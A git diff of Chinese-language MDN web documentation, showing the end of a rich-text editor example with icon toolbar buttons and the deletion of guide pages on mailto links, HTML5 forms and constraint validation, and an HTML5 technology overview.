+<img class="intLink" title="Print" onclick="printDoc();" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oEBxcZFmGboiwAAAAIdEVYdENvbW1lbnQA9syWvwAAAuFJREFUOMvtlUtsjFEUx//n3nn0YdpBh1abRpt4LFqtqkc3jRKkNEIsiIRIBBEhJJpKlIVo4m1RRMKKjQiRMJRUqUdKPT71qpIpiRKPaqdF55tv5vvusZjQTjOlseUkd3Xu/3dPzusC/22wtu2wRn+jG5So/OCDh8ycMJDflehMlkJkVK7KUYN+ufzA/RttH76zaVocDptRxzQtNi3mRWuPc+6cKtlXZ/sddP2uu9uXlmYXZ6Qm8v4Tz8lhF1H+zDQXt7S8oLMXtbF4e8QaFHjj3kbP2MzkktHpiTjp9VH6iHiA+whtAsX5brpwueMGdONdf/2A4M7ukDs1JW662+XkqTkeUoqjKtOjm2h53YFL15pSJ04Zc94wdtibr26fXlC2mzRvBccEbz2kiRFD414tKMlEZbVGT33+qCoHgha81SWYsew0r1uzfNylmtpx80pngQQ91LwVk2JGvGnfvZG6YcYRAT16GFtW5kKKfo1EQLtfh5Q2etT0BIWF+aitq4fDbk+ImYo1OxvGF03waFJQvBCkvDffRyEtxQiFFYgAZTHS0zwAGD7fG5TNnYNTp8/FzvGwJOfmgG7GOx0SAKKgQgDMgKBI0NJGMEImpGDk5+WACEwEd0ywblhGUZ4Hw5OdUekRBLT7DTgdEgxACsIznx8zpmWh7k4rkpJcuHDxCul6MDsmmBXDlWCH2+XozSgBnzsNCEE4euYV4pwCpsWYPW0UHDYBKSWu1NYjENDReqtKjwn2+zvtTc1vMSTB/mvev/WEYSlASsLimcOhOBJxw+N3aP/SjefNL5GePZmpu4kG7OPr1+tOfPyUu3BecWYKcwQcDFmwFKAUo90fhKDInBCAmvqnyMgqUEagQwCoHBDc1rjv9pIlD8IbVkz6qYViIBQGTJPx4k0XpIgEZoRN1Da0cij4VfR0ta3WvBXH/rjdCufv6R2zPgPH/e4pxSBCpeatqPrjNiso203/5s/zA171Mv8+w1LOAAAAAElFTkSuQmCC">
+<img class="intLink" title="Undo" onclick="formatDoc('undo');" src="data:image/gif;base64,R0lGODlhFgAWAOMKADljwliE33mOrpGjuYKl8aezxqPD+7/I19DV3NHa7P///////////////////////yH5BAEKAA8ALAAAAAAWABYAAARR8MlJq7046807TkaYeJJBnES4EeUJvIGapWYAC0CsocQ7SDlWJkAkCA6ToMYWIARGQF3mRQVIEjkkSVLIbSfEwhdRIH4fh/DZMICe3/C4nBQBADs=" />
+<img class="intLink" title="Redo" onclick="formatDoc('redo');" src="data:image/gif;base64,R0lGODlhFgAWAMIHAB1ChDljwl9vj1iE34Kl8aPD+7/I1////yH5BAEKAAcALAAAAAAWABYAAANKeLrc/jDKSesyphi7SiEgsVXZEATDICqBVJjpqWZt9NaEDNbQK1wCQsxlYnxMAImhyDoFAElJasRRvAZVRqqQXUy7Cgx4TC6bswkAOw==" />
+<img class="intLink" title="Remove formatting" onclick="formatDoc('removeFormat')" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAAd0SU1FB9oECQMCKPI8CIIAAAAIdEVYdENvbW1lbnQA9syWvwAAAuhJREFUOMtjYBgFxAB501ZWBvVaL2nHnlmk6mXCJbF69zU+Hz/9fB5O1lx+bg45qhl8/fYr5it3XrP/YWTUvvvk3VeqGXz70TvbJy8+Wv39+2/Hz19/mGwjZzuTYjALuoBv9jImaXHeyD3H7kU8fPj2ICML8z92dlbtMzdeiG3fco7J08foH1kurkm3E9iw54YvKwuTuom+LPt/BgbWf3//sf37/1/c02cCG1lB8f//f95DZx74MTMzshhoSm6szrQ/a6Ir/Z2RkfEjBxuLYFpDiDi6Af///2ckaHBp7+7wmavP5n76+P2ClrLIYl8H9W36auJCbCxM4szMTJac7Kza////R3H1w2cfWAgafPbqs5g7D95++/P1B4+ECK8tAwMDw/1H7159+/7r7ZcvPz4fOHbzEwMDwx8GBgaGnNatfHZx8zqrJ+4VJBh5CQEGOySEua/v3n7hXmqI8WUGBgYGL3vVG7fuPK3i5GD9/fja7ZsMDAzMG/Ze52mZeSj4yu1XEq/ff7W5dvfVAS1lsXc4Db7z8C3r8p7Qjf///2dnZGxlqJuyr3rPqQd/Hhyu7oSpYWScylDQsd3kzvnH738wMDzj5GBN1VIWW4c3KDon7VOvm7S3paB9u5qsU5/x5KUnlY+eexQbkLNsErK61+++VnAJcfkyMTIwffj0QwZbJDKjcETs1Y8evyd48toz8y/ffzv//vPP4veffxpX77z6l5JewHPu8MqTDAwMDLzyrjb/mZm0JcT5Lj+89+Ybm6zz95oMh7s4XbygN3Sluq4Mj5K8iKMgP4f0////fv77//8nLy+7MCcXmyYDAwODS9jM9tcvPypd35pne3ljdjvj26+H2dhYpuENikgfvQeXNmSl3tqepxXsqhXPyc666s+fv1fMdKR3TK72zpix8nTc7bdfhfkEeVbC9KhbK/9iYWHiErbu6MWbY/7//8/4//9/pgOnH6jGVazvFDRtq2VgiBIZrUTIBgCk+ivHvuEKwAAAAABJRU5ErkJggg==">
+<img class="intLink" title="Bold" onclick="formatDoc('bold');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAInhI+pa+H9mJy0LhdgtrxzDG5WGFVk6aXqyk6Y9kXvKKNuLbb6zgMFADs=" />
+<img class="intLink" title="Italic" onclick="formatDoc('italic');" src="data:image/gif;base64,R0lGODlhFgAWAKEDAAAAAF9vj5WIbf///yH5BAEAAAMALAAAAAAWABYAAAIjnI+py+0Po5x0gXvruEKHrF2BB1YiCWgbMFIYpsbyTNd2UwAAOw==" />
+<img class="intLink" title="Underline" onclick="formatDoc('underline');" src="data:image/gif;base64,R0lGODlhFgAWAKECAAAAAF9vj////////yH5BAEAAAIALAAAAAAWABYAAAIrlI+py+0Po5zUgAsEzvEeL4Ea15EiJJ5PSqJmuwKBEKgxVuXWtun+DwxCCgA7" />
+<img class="intLink" title="Left align" onclick="formatDoc('justifyleft');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIghI+py+0Po5y02ouz3jL4D4JMGELkGYxo+qzl4nKyXAAAOw==" />
+<img class="intLink" title="Center align" onclick="formatDoc('justifycenter');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIfhI+py+0Po5y02ouz3jL4D4JOGI7kaZ5Bqn4sycVbAQA7" />
+<img class="intLink" title="Right align" onclick="formatDoc('justifyright');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIghI+py+0Po5y02ouz3jL4D4JQGDLkGYxouqzl43JyVgAAOw==" />
+<img class="intLink" title="Numbered list" onclick="formatDoc('insertorderedlist');" src="data:image/gif;base64,R0lGODlhFgAWAMIGAAAAADljwliE35GjuaezxtHa7P///////yH5BAEAAAcALAAAAAAWABYAAAM2eLrc/jDKSespwjoRFvggCBUBoTFBeq6QIAysQnRHaEOzyaZ07Lu9lUBnC0UGQU1K52s6n5oEADs=" />
+<img class="intLink" title="Dotted list" onclick="formatDoc('insertunorderedlist');" src="data:image/gif;base64,R0lGODlhFgAWAMIGAAAAAB1ChF9vj1iE33mOrqezxv///////yH5BAEAAAcALAAAAAAWABYAAAMyeLrc/jDKSesppNhGRlBAKIZRERBbqm6YtnbfMY7lud64UwiuKnigGQliQuWOyKQykgAAOw==" />
+<img class="intLink" title="Quote" onclick="formatDoc('formatblock','blockquote');" src="data:image/gif;base64,R0lGODlhFgAWAIQXAC1NqjFRjkBgmT9nqUJnsk9xrFJ7u2R9qmKBt1iGzHmOrm6Sz4OXw3Odz4Cl2ZSnw6KxyqO306K63bG70bTB0rDI3bvI4P///////////////////////////////////yH5BAEKAB8ALAAAAAAWABYAAAVP4CeOZGmeaKqubEs2CekkErvEI1zZuOgYFlakECEZFi0GgTGKEBATFmJAVXweVOoKEQgABB9IQDCmrLpjETrQQlhHjINrTq/b7/i8fp8PAQA7" />
+<img class="intLink" title="Add indentation" onclick="formatDoc('outdent');" src="data:image/gif;base64,R0lGODlhFgAWAMIHAAAAADljwliE35GjuaezxtDV3NHa7P///yH5BAEAAAcALAAAAAAWABYAAAM2eLrc/jDKCQG9F2i7u8agQgyK1z2EIBil+TWqEMxhMczsYVJ3e4ahk+sFnAgtxSQDqWw6n5cEADs=" />
+<img class="intLink" title="Delete indentation" onclick="formatDoc('indent');" src="data:image/gif;base64,R0lGODlhFgAWAOMIAAAAADljwl9vj1iE35GjuaezxtDV3NHa7P///////////////////////////////yH5BAEAAAgALAAAAAAWABYAAAQ7EMlJq704650B/x8gemMpgugwHJNZXodKsO5oqUOgo5KhBwWESyMQsCRDHu9VOyk5TM9zSpFSr9gsJwIAOw==" />
+<img class="intLink" title="Hyperlink" onclick="var sLnk=prompt('Write the URL here','http:\/\/');if(sLnk&&sLnk!=''&&sLnk!='http://'){formatDoc('createlink',sLnk)}" src="data:image/gif;base64,R0lGODlhFgAWAOMKAB1ChDRLY19vj3mOrpGjuaezxrCztb/I19Ha7Pv8/f///////////////////////yH5BAEKAA8ALAAAAAAWABYAAARY8MlJq7046827/2BYIQVhHg9pEgVGIklyDEUBy/RlE4FQF4dCj2AQXAiJQDCWQCAEBwIioEMQBgSAFhDAGghGi9XgHAhMNoSZgJkJei33UESv2+/4vD4TAQA7" />
+<img class="intLink" title="Cut" onclick="formatDoc('cut');" src="data:image/gif;base64,R0lGODlhFgAWAIQSAB1ChBFNsRJTySJYwjljwkxwl19vj1dusYODhl6MnHmOrpqbmpGjuaezxrCztcDCxL/I18rL1P///////////////////////////////////////////////////////yH5BAEAAB8ALAAAAAAWABYAAAVu4CeOZGmeaKqubDs6TNnEbGNApNG0kbGMi5trwcA9GArXh+FAfBAw5UexUDAQESkRsfhJPwaH4YsEGAAJGisRGAQY7UCC9ZAXBB+74LGCRxIEHwAHdWooDgGJcwpxDisQBQRjIgkDCVlfmZqbmiEAOw==" />
+<img class="intLink" title="Copy" onclick="formatDoc('copy');" src="data:image/gif;base64,R0lGODlhFgAWAIQcAB1ChBFNsTRLYyJYwjljwl9vj1iE31iGzF6MnHWX9HOdz5GjuYCl2YKl8ZOt4qezxqK63aK/9KPD+7DI3b/I17LM/MrL1MLY9NHa7OPs++bx/Pv8/f///////////////yH5BAEAAB8ALAAAAAAWABYAAAWG4CeOZGmeaKqubOum1SQ/kPVOW749BeVSus2CgrCxHptLBbOQxCSNCCaF1GUqwQbBd0JGJAyGJJiobE+LnCaDcXAaEoxhQACgNw0FQx9kP+wmaRgYFBQNeAoGihCAJQsCkJAKOhgXEw8BLQYciooHf5o7EA+kC40qBKkAAAGrpy+wsbKzIiEAOw==" />
+<img class="intLink" title="Paste" onclick="formatDoc('paste');" src="data:image/gif;base64,R0lGODlhFgAWAIQUAD04KTRLY2tXQF9vj414WZWIbXmOrpqbmpGjudClFaezxsa0cb/I1+3YitHa7PrkIPHvbuPs+/fvrvv8/f///////////////////////////////////////////////yH5BAEAAB8ALAAAAAAWABYAAAWN4CeOZGmeaKqubGsusPvBSyFJjVDs6nJLB0khR4AkBCmfsCGBQAoCwjF5gwquVykSFbwZE+AwIBV0GhFog2EwIDchjwRiQo9E2Fx4XD5R+B0DDAEnBXBhBhN2DgwDAQFjJYVhCQYRfgoIDGiQJAWTCQMRiwwMfgicnVcAAAMOaK+bLAOrtLUyt7i5uiUhADs=" />
+</div>
+<div id="textBox" contenteditable="true"><p>Lorem ipsum</p></div>
+<p id="editMode"><input type="checkbox" name="switchMode" id="switchBox" onchange="setDocMode(this.checked);" /> <label for="switchBox">Show HTML</label></p>
+<p><input type="submit" value="Send" /></p>
+</form>
+</body>
+</html>
+ + + +

注意: 如果你想查看如何将创建与插入编辑器至页面的流程标准化的内容,请查看 more complete rich-text editor example.

+ +

相关资源

+ + diff --git a/files/zh-cn/web/guide/html/email_links/index.html b/files/zh-cn/web/guide/html/email_links/index.html deleted file mode 100644 index fd51ef502f..0000000000 --- a/files/zh-cn/web/guide/html/email_links/index.html +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: Email links -slug: Web/Guide/HTML/Email_links -tags: - - HTML5 - - SEO - - a - - email link - - mailto -translation_of: Learn/HTML/Introduction_to_HTML/Creating_hyperlinks#E-mail_links -translation_of_original: Web/Guide/HTML/Email_links ---- -

这往往是有益的Web站点能够创建链接或按钮,点击后,打开一个新的出站电子邮件。例如,这可能会创造一个“联系我们”按钮时使用。这是使用完成{{HTMLElement("a")}} 元素和mailto URL方案。.

- -

Mailto 基础

- -

以它最基础和最常用的形式,一个mailto链接仅简单的指明目标收件人的邮箱地址。例如:

- -
<a href="mailto:nowhere@mozilla.org">Send email to nowhere</a>
-
-Complete examples detail:
-
-<a href="mailto:nowhere@mozilla.org?cc=name2@rapidtables.com&bcc=name3@rapidtables.com
-&amp;subject=The%20subject%20of%20the%20email
-&amp;body=The%20body%20of%20the%20email">
-Send mail with cc, bcc, subject and body</a>
- - - -

这导致链接看起来像这样: Send email to nowhere.

- -

事实上, 目标收件人邮件地址都是可选的。 如果你不添加它 (也就是,你的{{htmlattrxref("href", "a")}} 是简单的 "mailto:"),用户的邮件客户端将打开一个新的外发电子邮件窗口,该窗口尚未指定目标地址。这通常非常有用,因为用户可以单击“共享”链接以将电子邮件发送到他们选择的地址。

- -

指定细节

- -

除了电子邮件地址,您还可以提供其他信息。事实上, 任何标准的邮件头字段都可以添加到您提供的mailto URL中。 最广泛使用的是: "subject", "cc", and "body" (这不是真正的标题字段,但允许您为新电子邮件指定简短内容消息). 每个字段及其值都被指定为一个查询字词(query term)。

- -
-
-
译者注:
-
- -
    -
  • `subject`:主题
  • -
  • `cc`:抄送到次要收件人(与邮件有关但无需做出应答的个人或组织)
  • -
  •  `bcc`:密送到其他收件人。主要、次要收件人不应该获得密送收件人的身份。
  • -
  • `body`:邮件内容
  • -
-
- -
-

Note: 每个字段的值都必须进行编码  (也就是, 带有非印刷字符和空格 percent-escaped).

-
- -

样品mailto 网址

- -

这有一些有关 mailto 的示例链接:

- - - -

请注意,使用&符号来分隔mailto URL中的每个字段。这是标准的URL查询表示法。

- -

例子

- -

如果您想创建一封要求订阅新闻通讯的外发电子邮件, 您可能会使用一个 mailto链接,像这样:

- -
<a href="mailto:nowhere@mozilla.org?subject=Newsletter%20subscription%20request&body=Please%20subscribe%20me%20to%20your%20newsletter!%0A%0AFull%20name%3A%0A%0AWhere%20did%20you%20hear%20about%20us%3F">
-Subscribe to our newsletter
-</a>
- -

结果链接看起来像这样: Subscribe to our newsletter.

- - diff --git a/files/zh-cn/web/guide/html/forms_in_html/index.html b/files/zh-cn/web/guide/html/forms_in_html/index.html deleted file mode 100644 index 24a27db5b5..0000000000 --- a/files/zh-cn/web/guide/html/forms_in_html/index.html +++ /dev/null @@ -1,144 +0,0 @@ ---- -title: HTML 中的表单 -slug: Web/Guide/HTML/Forms_in_HTML -tags: - - HTML5 - - HTML5 form updates - - form -translation_of: Learn/HTML/Forms/HTML5_updates ---- -
HTML5中的表单元素和属性提供了比HTML4更多的语义标记,并取消了大量的在HTML4不可缺少的脚本和样式。HTML5中的表单功能为用户提供了更好的体验,使表单在不同网站之间更一致,并向用户提供有关数据输入的即时反馈。它们还为使用禁用脚本的浏览器的用户提供相同的用户体验。
- -
 
- -
本文总结了HTML5中的表单变化。有关使用表单的详细指南,请参阅我们更多的HTML表单指南
- -
 
- -

<input> 元素

- -

{{HTMLElement("input")}} 的 {{htmlattrxref("type", "input")}} 特性拥有更多的值。(请观看 {{HTMLElement("input")}} 获得完整列表)

- -
    -
  • search: 这个元素呈现为一个搜索框。除了换行符会自动从输入中移除,无其他强制性语法。
  • -
  • tel: 这个元素可现为一个编辑电话号码的输入控件。因为电话号码国际化差异非常明显,所以除了换行符会自动从输入中移除,无其他强制性语法。你可以使用如 {{htmlattrxref("pattern", "input")}} 与 {{htmlattrxref("maxlength", "input")}} 等属性来限制输入到控件中的值。
  • -
  • url: 这个元素呈现为一个编辑URL 的输入控件。换行符与首尾的空格将会被自动去除。
  • -
  • -

    email: 这个元素呈现为一个邮件地址。换行符会被自动去除。可以设置一个无效的邮件地址,但若满足输入框的限制,必须遵守在扩展的巴科斯范式(ABNF)中的规范:1*( atext / "." ) "@" ldh-str 1*( "." ldh-str ) 其中atext 在规范RFC 5322 section 3.2.3 中被定义,而ldh-str在规范RFC 1034 section 3.5 中被定义。.

    - -
    注意: 若设置{{htmlattrxref("multiple", "input")}}属性,{{HTMLElement("input")}} 区域中可以用逗号分割的方式,输入多个email, 但 Firefox不支持.
    -
  • -
- -

 {{HTMLElement("input")}} 元素也拥有一些新的特性。

- -
    -
  • {{htmlattrxref("list", "input")}}: {{HTMLElement("datalist")}} 元素的 ID,该元素的内容,{{HTMLElement("option")}} 元素被用作提示信息,会在 input 的建议区域作为提议显示出来。
  • -
  • {{htmlattrxref("pattern", "input")}}: 一个正则表达式,用于检查控件的值,能够作用于 {{htmlattrxref("type", "input")}} 值是 text, tel, search, url, 和 email 的 input 元素。
  • -
  • {{htmlattrxref("form", "input")}}: 一个字符串,用于表明该 input 属于哪个 {{HTMLElement("form")}} 元素。一个 input 只能存在于一个表单中。
  • -
  • {{htmlattrxref("formmethod", "input")}}:一个字符串,用于表明表单提交时会使用哪个 HTTP 方法 (GET 或 POST);如果定义了它,则可以覆盖  {{HTMLElement("form")}} 元素上的 {{htmlattrxref("method", "form")}} 特性。只有当 {{htmlattrxref("type", "input")}} 值为 image 或 submit,并且 {{htmlattrxref("form", "input")}} 特性被设置的情况下, {{htmlattrxref("formmethod", "input")}} 才能生效。
  • -
  • {{htmlattrxref("x-moz-errormessage", "input")}} {{non-standard_inline}}: 一个字符串,当表单字段验证失败后显示错误信息。该值为 Mozilla 扩展,并非标准。
  • -
- -

text input

- -
-
 
-
- -

这个程序段段定义了一个用户可以输入的一行input。

- -
<form>
-  Enter your Name <input type="text" name="name">
-</form>
- -

checkboxes

- -

这个程序段允许用户选择多个选项。

- -
<input type="checkbox" name="chk" value="" checked> Do you want the newsletter
- -

Radio < input> element

- -
<form>
-  <input type="radio" name="frequency" value="daily">Daily<br>
-  <input type="radio" name="frequency" value="weekly">Weekly<br>
-  <input type="radio" name="frequency" value="monthly">Monthly<br>
-  <input type="radio" name="frequency" value="yearly">Yearly
-</form>
- -

<form> 元素

- -

{{HTMLElement("form")}} 元素有了一个新特性:

- -
    -
  • {{htmlattrxref("novalidate", "form")}}:设置了该特性不会在表单提交之前对其进行验证。
  • -
- -

<datalist> 元素

- -

{{HTMLElement("datalist")}} 元素会在填写 {{HTMLElement("input")}} 字段时,显示一列 {{HTMLElement("option")}} 作为提示。

- -

你可以使用 {{HTMLElement("input")}} 元素上的 {{htmlattrxref("list", "input")}} 特性来将一个特定的 input 与特定的 {{HTMLElement("datalist")}} 元素做关联。

- -

<output> 元素

- -

{{HTMLElement("output")}} 元素表示计算的结果。

- -

你可以使用 {{htmlattrxref("for", "output")}} 特性来在 {{HTMLElement("output")}} 元素与文档内其他能够影响运算的元素(例如,input 或参数)建立关联。 {{htmlattrxref("for", "output")}} 特性的值是以空格做分隔的其他元素的 ID 列表。

- -

{{non-standard_inline}} Gecko 2.0 (其他浏览器并非如此) 支持为 {{HTMLElement("output")}} 元素自定义有效性约束(validity constraints)与错误信息,可以对其使用如下 CSS 伪类:{{Cssxref(":invalid")}}, {{Cssxref(":valid")}}, {{Cssxref(":-moz-ui-invalid")}},与 {{Cssxref(":-moz-ui-valid")}}。在如下情况会显得很有用:例如计算结果违反了业务规则,但却并非因为特定的 input 值出现错误(例如,「百分比总数不能超过100)。

- -

placeholder 特性

- -

{{htmlattrxref("placeholder", "input")}} 特性作用于 {{HTMLElement("input")}} 与 {{HTMLElement("textarea")}} 元素上,提示用户此域内能够输入什么内容。placeholder 中的文本不能包含回车与换行。

- -

autofocus 特性

- -

{{htmlattrxref("autofocus", "input")}} 特性让你能够指定一个表单控件,当页面载入后该表单自动获得焦点,除非用户覆盖它,例如在另一个控件中输入值。一个文档内只有一个表单能够拥有 autofocus 特性,它是一个 Boolean 值。这个特性适用于 {{HTMLElement("input")}}, {{HTMLElement("button")}}, {{HTMLElement("select")}},与 {{HTMLElement("textarea")}} 元素。例外情况是,如果一个 {{htmlattrxref("autofocus", "input")}} 元素的 {{htmlattrxref("type", "input")}} 特性值设置成了 hidden,则 autofocus 无法生效(就是说,你无法让一个隐藏控件自动获得焦点)。

- -

label.control DOM 属性

- -

HTMLLabelElement DOM 接口除了为 {{HTMLElement("label")}} 元素提供了对应的特性外,还提供了一个额外的属性。 control 属性返回被打上标签的控件,就是 label 适用的控件,由 {{htmlattrxref("for", "label")}} 特性(如果定义的话) 或是第一个后代元素控件来确定。

- -

约束验证

- -

HTML5 为客户端表单的验证提供了语法与 API。当然这些功能无法取代服务器端验证,出于安全性与数据完整性的考虑,服务器端验证仍然必不可少,但是客户端验证能够通过对输入数据的即时反馈来提供良好的用户体验。

- -

如果 {{HTMLElement("input")}} 元素设置了 title 特性,当验证失败时,特性值会显示在提示信息中。如果 title 设置为空字符串,则不会显示提示信息。如果没有设置 title 特性,会使用标准验证信息(例如通过 {{htmlattrxref("x-moz-errormessage")}} 特性指定,或调用 setCustomValidity() 方法) 代为显示。

- -
注意: 约束验证不支持表单中的 {{HTMLElement("button")}} 元素;若想基于表单的验证结果来改变按钮的样式,可以使用 {{cssxref(":-moz-submit-invalid")}} 伪类。
- -

约束验证的 HTML 语法

- -

下列 HTML5 语法中的条目用于为表单数据指定约束。

- -
    -
  • {{HTMLElement("input")}}, {{HTMLElement("select")}}, 和 {{HTMLElement("textarea")}} 元素上的 {{htmlattrxref("required", "input")}} 特性,指定必须提供该元素的值。(在 {{HTMLElement("input")}} 元素上, {{htmlattrxref("required", "input")}} 只能与特定的 {{htmlattrxref("type", "input")}} 特性值结合起来生效。)
  • -
  • {{HTMLElement("input")}} 元素上的 {{htmlattrxref("pattern", "input")}} 特性用于限定元素值必须匹配一个特定的正则表达式。
  • -
  • {{HTMLElement("input")}} 元素上的 {{htmlattrxref("min", "input")}} 与 {{htmlattrxref("max", "input")}} 特性限定了能够输入元素的最大与最小值。
  • -
  • {{HTMLElement("input")}} 元素的 {{htmlattrxref("step", "input")}} 特性(与 {{htmlattrxref("min", "input")}} 与 {{htmlattrxref("max", "input")}} 特性结合使用) 限定了输入值的间隔。如果一个值与允许值的梯级不相符,则它无法通过验证。
  • -
  • {{HTMLElement("input")}} 与 {{HTMLElement("textarea")}} 元素的 {{htmlattrxref("maxlength", "input")}} 特性限制了用户能够输入的最大字符数(在 Unicode 代码点内)。
  • -
  • {{htmlattrxref("type", "input")}} 的 url 与 email 值分别用于限制输入值是否为有效的 URL 或电子邮件地址。
  • -
- -

此外,若要阻止对表单进行约束验证,你可以在 {{HTMLElement("form")}} 上设置 {{htmlattrxref("novalidate", "form")}} 特性,或在 {{HTMLElement("button")}} 与 {{HTMLElement("input")}} 元素(当 {{htmlattrxref("type", "input")}} 是 submit 或 image)上设置 {{htmlattrxref("formnovalidate", "button")}} 特性。这些特性指定了当表单提交时不做验证。

- -

约束验证 API

- -

下面这些 DOM 属性与方法和约束验证相关,能够在客户端脚本中使用:

- -
    -
  • HTMLFormElement 对象上的 checkValidity() 方法,当表单的相关元素都通过了它们的约束验证时返回 true,否则返回 false。
  • -
  • 在 表单相关元素上: -
      -
    • willValidate 属性,如果元素的约束没有被符合则值为 false。
    • -
    • validity 属性,是一个 ValidityState 对象,表示元素当前所处的验证状态(就是说约束成功或是失败)。
    • -
    • validationMessage 属性,用于描述与元素相关约束的失败信息。
    • -
    • checkValidity() 方法,如果元素没有满足它的任意约束,返回false,其他情况返回 true。
    • -
    • setCustomValidity() 方法,设置自定义验证信息,用于即将实施与验证的约束来覆盖预定义的信息。
    • -
    -
  • -
- -
{{HTML5ArticleTOC}}
diff --git a/files/zh-cn/web/guide/html/html/index.html b/files/zh-cn/web/guide/html/html/index.html deleted file mode 100644 index ee911ca9a1..0000000000 --- a/files/zh-cn/web/guide/html/html/index.html +++ /dev/null @@ -1,181 +0,0 @@ ---- -title: HTML5 -slug: Web/Guide/HTML/HTML -tags: - - HTML - - HTML5 - - Web - - Web 开发 - - 帮助 - - 指南 - - 综述 ---- -
-
HTML5 演示
- -

展示了实战中的最新 HTML 技术的 演示汇总

- -

HTML5_Logo_128.png

-
- -

HTML5 是 HTML 标准的最新演进版本。 这个术语代表了两个不同的概念:

- -

它是一个新的 HTML 语言版本包含了新的元素,属性和行为,同时包含了一系列可以被用来让 Web 站点和应用更加多样化,功能更强大的技术。 这套技术往往被称作 HTML5 和它的朋友们,通常简称为 HTML5

- -

从要对全部所有的 Web 开发人员有用这一点出发,这个参考页面链接了有关 HTML5 技术的大量资源,并且基于它们各自的功能,把它们归类成了若干组。

- -
    -
  • 语义:能够让你更恰当地描述你的内容是什么。
  • -
  • 连通性:能够让你和服务器之间通过创新的新技术方法进行通信。
  • -
  • 离线 & 存储:能够让网页在客户端本地存储数据以及更高效地离线运行。
  • -
  • 多媒体:使 video 和 audio 成为了在所有 Web 中的一等公民。
  • -
  • 2D/3D 绘图 & 效果:提供了一个更加分化范围的呈现选择。
  • -
  • 性能 & 集成:提供了非常显著的性能优化和更有效的计算机硬件使用。
  • -
  • 设备访问 Device Access:能够处理各种输入和输出设备。
  • -
  • 样式设计: 让作者们来创作更加复杂的主题吧!
  • -
- -
-
-

语义

- -
-
HTML5 中的节段和外观概要
-
HTML5 中新的外观概要和节段元素一览: {{HTMLElement("section")}}, {{HTMLElement("article")}}, {{HTMLElement("nav")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("aside")}} 和 {{HTMLElement("hgroup")}}.
-
使用 HTML5 的音频和视频
-
{{HTMLElement("audio")}} 和 {{HTMLElement("video")}} 元素嵌入并能够操作新的多媒体内容。
-
HTML5 的表单
-
看一下 HTML5 中对 web 表单的改进:约束确认 API,一些新的属性,{{HTMLElement("input")}} 属性的一些新值 {{htmlattrxref("type", "input")}} 和新的 {{HTMLElement("output")}} 元素。
-
新的语义元素
-
除了区段,媒体和表单元素之外,众多的新元素,像 {{HTMLElement("mark")}}, {{HTMLElement("figure")}}, {{HTMLElement("figcaption")}}, {{HTMLElement("data")}}, {{HTMLElement("time")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, 或者 {{HTMLElement("meter")}},也增加了有效的 HTML5 元素的数量。
-
{{HTMLElement("iframe")}} 的改进
-
使用 {{htmlattrxref("sandbox", "iframe")}}, {{htmlattrxref("seamless", "iframe")}}, 和 {{htmlattrxref("srcdoc", "iframe")}} 属性,作者们现在可以精确控制 {{HTMLElement("iframe")}} 元素的安全级别以及期望的渲染。
-
MathML
-
允许直接嵌入数学公式。
-
HTML5 入门
-
本文介绍了如何标示在网页设计或 Web 应用程序中使用 HTML5 时碰到的问题。
-
HTML5 兼容的解析器
-
用于把 HTML5 文档的字节转换成 DOM 的解释器,已经被扩展了,并且现在精确地定义了在所有情况下使用的行为,甚至当碰到无效的 HTML 这种情况。这就导致了 HTML5 兼容的浏览器之间极大的可预测性和互操作性。
-
- -

连通性

- -
-
Web Sockets
-
允许在页面和服务器之间建立持久连接并通过这种方法来交换非 HTML 数据。
-
Server-sent events
-
允许服务器向客户端推送事件,而不是仅在响应客户端请求时服务器才能发送数据的传统范式。
-
WebRTC
-
这项技术,其中的 RTC 代表的是即时通信,允许连接到其他人,直接在浏览器中控制视频会议,而不需要一个插件或是外部的应用程序。
-
- -

离线 & 存储

- -
-
离线资源:应用程序缓存
-
火狐全面支持 HTML5 离线资源规范。其他大多数针对离线资源仅提供了某种程度上的支持。
-
在线和离线事件
-
Firefox 3 支持 WHATWG 在线和离线事件,这可以让应用程序和扩展检测是否存在可用的网络连接,以及在连接建立和断开时能感知到。
-
WHATWG 客户端会话和持久化存储 (又名 DOM 存储)
-
客户端会话和持久化存储让 web 应用程序能够在客户端存储结构化数据。
-
IndexedDB
-
是一个为了能够在浏览器中存储大量结构化数据,并且能够在这些数据上使用索引进行高性能检索的 Web 标准。
-
自 web 应用程序中使用文件
-
对新的 HTML5 文件 API 的支持已经被添加到 Gecko 中,从而使 Web 应用程序可以访问由用户选择的本地文件。这包括使用 type file{{HTMLElement("input")}} 元素的新的 multiple 属性针对多文件选择的支持。 还有 FileReader
-
- -

多媒体

- -
-
使用 HTML5 音视频
-
{{HTMLElement("audio")}} 和 {{HTMLElement("video")}} 元素嵌入并支持新的多媒体内容的操作。
-
WebRTC
-
这项技术,其中的 RTC 代表的是即时通信,允许连接到其他人,直接在浏览器中控制视频会议,而不需要一个插件或是外部的应用程序。
-
使用 Camera API
-
允许使用,操作计算机摄像头,并从中存储图像。Allows to use, manipulate and store an image from the computer's camera.
-
Track 和 WebVTT
-
 {{HTMLElement("track")}} 元素支持字幕和章节。WebVTT 一个文本轨道格式。
-
- -

3D, 图像 & 效果

- -
-
Canvas 教程
-
了解有关新的 {{HTMLElement("canvas")}} 元素以及如何在火狐中绘制图像和其他对象。
-
HTML5 针对 <canvas> 元素的文本 API
-
HTML5 文本 API 现在由 {{HTMLElement("canvas")}} 元素支持。
-
WebGL
-
